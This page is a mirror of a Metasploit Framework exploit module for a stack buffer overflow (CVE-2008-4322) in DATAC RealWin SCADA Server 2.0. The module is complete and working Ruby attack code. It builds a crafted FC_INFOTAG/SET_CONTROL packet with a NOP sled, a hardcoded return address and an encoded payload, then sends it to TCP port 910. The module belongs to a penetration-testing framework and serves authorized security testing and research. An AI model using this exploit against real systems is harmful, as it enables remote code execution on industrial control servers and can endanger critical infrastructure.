Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/scada/realwin.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'DATAC RealWin SCADA Server Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in DATAC Control
18
International RealWin SCADA Server 2.0 (Build 6.0.10.37).
19
By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,
20
an attacker may be able to execute arbitrary code.
21
},
22
'Author' => [ 'MC' ],
23
'License' => MSF_LICENSE,
24
'References' => [
25
[ 'CVE', '2008-4322' ],
26
[ 'OSVDB', '48606' ],
27
[ 'BID', '31418' ],
28
],
29
'Privileged' => true,
30
'DefaultOptions' => {
31
'EXITFUNC' => 'thread',
32
},
33
'Payload' => {
34
'Space' => 550,
35
'BadChars' => "\x00\x20\x0a\x0d",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!
41
],
42
'DefaultTarget' => 0,
43
'DisclosureDate' => '2008-09-26',
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
52
register_options([Opt::RPORT(910)])
53
end
54
55
def exploit
56
connect
57
58
data = [0x67542310].pack('V')
59
data << [0x00000800].pack('V')
60
data << [0x000a77e3].pack('V')
61
data << [0x00040005].pack('V')
62
data << "\x00\x00"
63
data << make_nops(target['Offset'])
64
data << [target.ret].pack('V')
65
data << [0x00404040].pack('V')
66
data << payload.encoded
67
data << make_nops(1024)
68
69
print_status("Trying target #{target.name}...")
70
sock.get_once
71
sock.put(data)
72
73
handler
74
disconnect
75
end
76
end
77
78